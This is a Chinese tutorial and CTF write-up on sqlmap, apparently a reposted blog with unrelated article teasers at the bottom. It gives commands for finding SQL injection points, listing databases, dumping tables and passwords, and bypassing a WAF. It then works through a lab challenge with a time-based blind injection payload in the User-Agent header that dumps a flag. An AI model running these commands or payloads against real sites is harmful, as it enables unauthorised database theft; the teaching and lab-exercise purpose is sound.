SQLmap学习以及题解运用

1.简介

SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台

这里主要分为四大部分目标脱库账号其它,

分类和一些命令如下:

2.具体操作介绍

sqlmap是一款自动化的sql注入工具,下面我用的是kali自带的sqlmap工具

首先需要打开虚拟机终端,输入命令sqlmap,如果出现以下界面就说明工具可以使用

一般情况下基本的注入步骤如下:

1)检测注入点

sqlmap -u 'http://xx/?id=1'

2)查看全部数据库

sqlmap -u 'http//xx/?id=1' --dbs

3)查看当前数据库

sqlmap -u 'http//xx/?id=1' current -db

4)查看数据库

sqlmap -u 'http//xx/?id=1' -D 'security' --tables

5)查看字段

sqlmap -u 'http//xx/?id=1' -D 'security' -T 'users' --tables

6)查看数据

sqlmap -u 'http//xx/?id=1' -D 'security' -T 'users' --dump

一些常用命令如下:

--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒
--threads=                       使用多少线程

注:--is-dba 这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马

3.目标

 -d DIRECT    直接连接数据库的连接字符串-u URL, –url=URL   目标URL (e.g.”http://www.site.com/mzxf.php?id=1“),使用-u或者–url-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)-c CONFIGFILE       从配置ini文件中加载选项
1、指定url

-u + 指定需要检测的url,用单/双引号包裹。    中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url。

<span style="color:#000000"><span style="background-color:#fafafa"><code class="language-bash">sqlmap -m urls.txt</code></span></span>
3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

5、cookie注入


--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

4.脱库

​​​​​​​​​​​​​​1、获取当前数据库版本

python sqlmap.py -u 目标URL -b

2、获取当前数据库名称

python sqlmap.py -u 目标URL --current-db

3、列出所有数据库

python sqlmap.py -u 目标URL --dbs

4、列出指定数据库的所有表

python sqlmap.py -u 目标URL -D 数据库名称 --tables

5、获取表中所有数据

python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump

6、搜索库、表、字段

python sqlmap.py -u 目标URL --search

7、绕过WAF

python sqlmap.pu -u 目标URL --tamper
 

5,其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

写了那么多操作命令,没记清几个,还是不如直接来实操!!!!!

6.实操

1.这里还是用考核的题目来作为例子吧

2.进入环境

3.找不到任何注入的点,用dirsearch扫扫看

4.扫出来一个login.php,直接进去

5.输入弱口令admin,12345抓包,然后把它保存成txt文件,放进kali中

6.接着打开sqlmap爆它的注入类型

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 3

7.爆破数据显示它为时间盲注,然后开始爆它所有的数据库

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --dbs

8.爆出所有数据库为

] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

然后爆它当前的数据库

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --current-db

当前数据库为 challenges

9.接着爆表

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges --tables

10.得到两张表,一张张找出来在第一张里面

[2 tables]
+-------------+
| user_agents |
| users       |
+-------------+
然后开始爆字段

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents --columns

爆出字段为

+------------+-------------+
| Column     | Type        |
+------------+-------------+
| id         | int(3)      |
| user_agent | varchar(40) |
+------------+-------------+
11.猜测这里长度为40的为flag,直接报字段内容得到flag

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents -C user_agent --dump

成功爆出flag

flag{8faf525dc3c4c7c43a9c163a57904c35}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/14932.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

同余定理性质

在算法题中碰到的这个同余定理定理&#xff0c;记录一下性质

机器学习之常用算法与数据处理

一、机器学习概念&#xff1a; 机器学习是一门多领域交叉学科&#xff0c;涉及概率论、统计学、计算机科学等多门学科。它的核心概念是通过算法让计算机从数据中学习&#xff0c;改善自身性能。机器学习专门研究计算机怎样模拟或实现人类的学习行为&#xff0c;以获取新的知识…

Android Low Storage机制之DeviceStorageMonitorService

一、Android 版本 Android 13 二、low storage简介(DeviceStorageMonitorService) 设备存储监视器服务是一个模块&#xff0c;主要用来&#xff1a; 1.监视设备存储&#xff08;“/ data”&#xff09;。 2.每60秒扫描一次免费存储空间(谷歌默认值) 3.当设备的存储空间不足…

【项目】教你手把手完成博客系统(三)显示用户信息 | 实现退出登录 | 实现发布博客

文章目录 教你手把手完成博客系统&#xff08;三&#xff09;7.实现显示用户信息1.约定前后端交互接口2.前端通过ajax发起请求3.服务器处理请求 8.实现退出登录1.约定前后端的接口2.前端发起请求3.服务器处理请求 9.实现发布博客1.约定前后端的交互接口2.前端构造请求3.服务器处…

齐护K210系列教程(三十)_多任务切换

多任务切换 1&#xff0c;任务1的设定2&#xff0c;任务2的设定3&#xff0c;主程序4&#xff0c; 课程资源联系我们 在开发项目时&#xff0c;我们常会用到AIstart的多个任务来切换应用&#xff0c;比如当我识别到某种卡片时&#xff0c;要切换到别的任务&#xff0c;这样就要…

CentOS-7安装教程

目录 安装 修改主机名 配置静态IP 镜像下载地址 https://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/CentOS-7-x86_64-DVD-2009.iso VMware Workstation Pro下载 VMware Workstation Pro各版本下载&#xff08;2024.5.5之后&#xff09;(Windows与Linux安装包不限…

【okhttp】小问题记录合集

can’t create native thread 问题描述 OkHttpClient 每次使用都new创建&#xff0c;造成OOM&#xff0c;提示can’t create native thread… 问题分析 没有将OkHttpClient单例化. 每个client对象都有自己的线程池和连接池&#xff0c;如果为每个请求都创建一个client对象&a…

视频推拉流EasyDSS系统如何在清理缓存文件的同时不影响缓存读写?

视频推拉流EasyDSS视频直播点播平台可提供一站式的视频转码、点播、直播、视频推拉流、播放H.265视频等服务&#xff0c;搭配RTMP高清摄像头使用&#xff0c;可将无人机设备的实时流推送到平台上&#xff0c;实现无人机视频推流直播、巡检等应用。 有用户咨询&#xff0c;视频推…

Git 的安装和使用

一、Git 的下载和安装 目录 一、Git 的下载和安装 1. git 的下载 2. 安装 二、Git 的基本使用-操作本地仓库 1 初始化仓库 1&#xff09;创建一个空目录 2&#xff09;git init 2 把文件添加到版本库 1&#xff09;创建文件 2&#xff09;git add . 3&#xff09;g…

在SpringBoot自定义指标并集成Prometheus和Grafana监控

前沿 写这篇文章的目的是发现自己整天埋头写业务代码但忽略了主动发现问题的能力&#xff0c;这里指的是监控和报警。结合工作中发现Prometheus和Grafana还是主流一些。本文介绍如何使用自定义指标&#xff0c;并使用Prometheus进行监控并报警&#xff0c;同时在 Grafana 进行…

重学java 40.多线程 — 死锁和线程状态

—— 24.5. 一、死锁 1.死锁介绍&#xff08;锁嵌套就有可能产生死锁&#xff09; 指的是两个或者两个以上的线程在执行的过程中由于竞争同步锁而产生的一种阻塞现象;如果没有外力的作用,他们将无法继续执行下去,这种情况称之为死锁 例&#xff1a; 两线程处于互相等待的状态&a…

上位机图像处理和嵌入式模块部署(mcu常见三种烧录方法)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 和单纯的windows上位机开发、嵌入式linux开发不一样&#xff0c;mcu的开发&#xff0c;是需要通过烧录器把编译好的镜像烧入到开发板里面的。这是很…

STM32通用定时器的应用实例(基于STM32F103)

目录 概述 1 STM32Cube配置项目 1.1 准备环境 1.2 配置项目参数 1.3 生成Project 2 HAL函数 2.1 初始化函数&#xff1a;HAL_TIM_Base_Init 2.2 中断模式启动定时器函数&#xff1a;HAL_TIM_Base_Start 2.3 定时器回调函数&#xff1a; HAL_TIM_PeriodElapsedCallback…

ElasticSearch操作之重置密码脚本

ElasticSearch操作之重置密码脚本 #!/bin/bash # 使用样例 ./ES密码重置.sh 旧密码 新密码# 输入旧密码 es_old_password$1# 设置新的密码变量 es_password$2# 正确响应 es_reponse{"acknowledged":true}# 检查Elasticsearch是否在运行 if pgrep -f elasticsearch &g…

2024年5月计算机视觉论文推荐:包括扩散模型、视觉语言模型、图像编辑和生成、视频处理和生成以及图像识别等各个主题

我们今天总结下2024年5月发表的最重要的论文&#xff0c;重点介绍了计算机视觉领域的最新研究和进展&#xff0c;包括扩散模型、视觉语言模型、图像编辑和生成、视频处理和生成以及图像识别等各个主题。 Diffusion Models 1、Dual3D: Efficient and Consistent Text-to-3D Ge…

【C++题解】1697. 请输出n~1之间所有的整数

问题:1697. 请输出n~1之间所有的整数 类型&#xff1a;循环 题目描述&#xff1a; 从键盘读入一个整数 n &#xff0c;请输出 n∼1 之间所有的整数&#xff0c;每行输出 1 个。 比如&#xff0c;假设读入 n5 &#xff0c;输出结果如下&#xff1a; 5 4 3 2 1 输入&#xff1…

Java进阶学习笔记4——Static应用知识:代码块

代码块&#xff1a; 代码块是类的五大成员之一&#xff08;成员变量、构造器、方法、代码块、内部类&#xff09;。 Java类生命周期&#xff1a;加载、验证、准备、初始化、卸载。 代码块分为两种&#xff1a; 静态代码块&#xff1a; 格式&#xff1a;static {} 特点&…

SpringBoot 集成 Nebula

工作需求&#xff0c;开始了解图数据库&#xff0c;经过工具选型&#xff0c;最终选择nebula graph&#xff0c;并集成到springboot&#xff0c;java 环境下如何对 Nebula Graph 进行操作&#xff0c;本文整理下过程。 1、首先引入 pom 依赖 <dependency><groupId&g…

鸿蒙系统与OpenHarmony:中国科技行业的新动力与就业前景

背景 经历近年来的迅猛发展&#xff0c;鸿蒙原生应用数量已突破4000款&#xff0c;生态设备数量超过8亿台&#xff0c;开发者群体壮大至220万人。更为显著的是&#xff0c;鸿蒙系统在中国市场的份额已经超过了15%&#xff0c;稳居第三大操作系统&#xff0c;其生态之树已然枝繁…

探秘机器学习经典:K-近邻算法(KNN)全解析

在浩瀚的机器学习宇宙中,K-近邻算法(K-Nearest Neighbors,简称KNN)如同一颗璀璨的明星,以其简洁直观的原理和广泛的应用范围,赢得了众多数据科学家的喜爱。今天,让我们一起揭开KNN的神秘面纱,深入探讨它的运作机制、优缺点、应用场景,以及如何在实际项目中灵活运用。 …